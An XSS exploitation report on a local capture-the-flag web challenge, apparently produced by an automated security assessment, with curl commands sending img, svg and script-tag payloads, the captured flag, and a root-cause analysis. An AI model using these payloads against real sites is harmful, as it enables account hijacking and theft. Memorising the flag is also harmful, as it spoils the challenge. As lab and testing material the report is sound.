# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Reflected XSS via HTML Attribute Injection

**Summary:**
- **Vulnerable location:** `POST http://localhost:35947/page` (parameter: `solution`)
- **Overview:** The application reflects user input directly into an HTML `<input>` tag's attribute area without any output encoding. By injecting a closing `>` character followed by malicious HTML tags with event handlers, an attacker can execute arbitrary JavaScript in the PhantomJS validation engine, triggering the flag disclosure mechanism.
- **Impact:** Successful exploitation allows extraction of the CTF flag without authentication. In a real-world scenario, this vulnerability would enable session hijacking, credential theft, phishing attacks, and unauthorized actions on behalf of users.
- **Severity:** Critical

**Prerequisites:**
None - The endpoint is publicly accessible without authentication.

**Exploitation Steps:**

1. **Submit XSS payload via POST request to the challenge endpoint:**
   ```bash
   curl -X POST http://localhost:35947/page \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "solution=><img src=x onerror=alert('XSS')>"
   ```

2. **Application processes the malicious payload:**
   - The application extracts the `solution` parameter without validation
   - User input is formatted directly into HTML: `'> {0}'.format(msg)` (line 69 of app.py)
   - The payload is injected into an HTML template at the `{2}` position within an `<input>` tag
   - Rendered HTML becomes: `<input type=text name=solution placeholder="Enter solution..." > ><img src=x onerror=alert('XSS')>>`

3. **Server-side JavaScript execution in PhantomJS:**
   - The HTML containing the injected payload is written to a temporary file in the `static/` directory
   - PhantomJS subprocess loads and renders the HTML
   - The `<img>` tag with `onerror` handler executes: `alert('XSS')`
   - PhantomJS captures the alert via its `page.onAlert` handler

4. **Flag disclosure:**
   - The application validates that the alert message equals 'XSS'
   - Upon successful validation, the response includes the flag in the HTML body

**Proof of Impact:**

The exploitation successfully extracted the CTF flag:
```
FLAG{402cf289e5c0be3484d563136acf10afc7b77e191f2165d8cee5d7b5e52cc657}
```

**HTTP Response excerpt showing flag disclosure:**
```html
<div class="solution-text">
  <img src="static/img/cookies/success_circle.png" alt="Correct" width="150" height="150">
  <br>Congratulations!
  <p> Here is the flag: FLAG{402cf289e5c0be3484d563136acf10afc7b77e191f2165d8cee5d7b5e52cc657}
</div>
```

**Alternative Working Payloads:**

The following payloads were also confirmed to work:

1. **SVG-based payload:**
   ```bash
   curl -X POST http://localhost:35947/page \
     -d "solution=><svg/onload=alert('XSS')>"
   ```

2. **Script tag payload:**
   ```bash
   curl -X POST http://localhost:35947/page \
     -d "solution=><script>alert('XSS')</script>"
   ```

**Root Cause Analysis:**

The vulnerability exists due to multiple security failures:

1. **No Output Encoding:** User input flows through the data path without HTML encoding:
   - Line 68: `msg = request.form.get('solution','')` - No validation
   - Line 69: `value = '> {0}'.format(msg)` - Direct string formatting
   - Line 71: Template injection into HTML without escaping

2. **Render Context Mismatch:** The application injects user input into an HTML_ATTRIBUTE context (inside an `<input>` tag) without attribute-appropriate encoding. The injection point is after the `placeholder` attribute in an unquoted attribute area, allowing:
   - Breaking out of the tag with `>` character
   - Injecting new HTML elements
   - Injecting event handlers

3. **Missing Security Controls:**
   - No Content Security Policy (CSP) headers
   - No input validation or sanitization
   - No authentication or CSRF protection
   - No rate limiting

**Data Flow Path:**
```
POST /page → request.form.get('solution','') (app.py:68) 
→ '> {0}'.format(msg) (app.py:69) 
→ CHALLENGE_CONTENT_POST.format(..., value, ...) (app.py:71) 
→ Temporary file write to static/[random].html 
→ PhantomJS rendering 
→ JavaScript execution 
→ Flag disclosure in HTTP response
```

**Notes:**

- The vulnerability is externally exploitable via POST requests without authentication
- No CSP or XSS protection headers are present, allowing unrestricted JavaScript execution
- Event handler-based payloads (e.g., `onfocus`, `onload` on existing elements) cause PhantomJS errors and do not successfully trigger flag disclosure
- Tag injection payloads (`<img>`, `<svg>`, `<script>`) work reliably
- The application uses PhantomJS (abandoned project since 2018) with known unpatched vulnerabilities
- Python 2.7.18 and Flask 1.1.4 are both end-of-life with no security patches

---

## Exploitation Summary

**Total Vulnerabilities in Queue:** 1  
**Successfully Exploited:** 1 (100%)  
**False Positives:** 0  
**Blocked by Security Controls:** 0  

**Key Findings:**
- The application's XSS vulnerability is trivially exploitable with no defense-in-depth measures
- Multiple payload variants work, demonstrating the complete absence of input validation and output encoding
- The flag was successfully extracted, proving the tangible impact of the vulnerability
- The exploitation is fully reproducible and requires no authentication or complex techniques

**Environmental Factors:**
- No CSP headers present
- No authentication system
- No CSRF protection
- No rate limiting
- Outdated technology stack (Python 2.7.18 EOL, Flask 1.1.4, PhantomJS abandoned)
- Debug mode enabled (Werkzeug debugger accessible on errors)

**Exploitation Method:**
All exploitation was performed via standard HTTP POST requests using curl against the external network interface at `http://localhost:35947`. No internal access, database access, or privileged operations were required.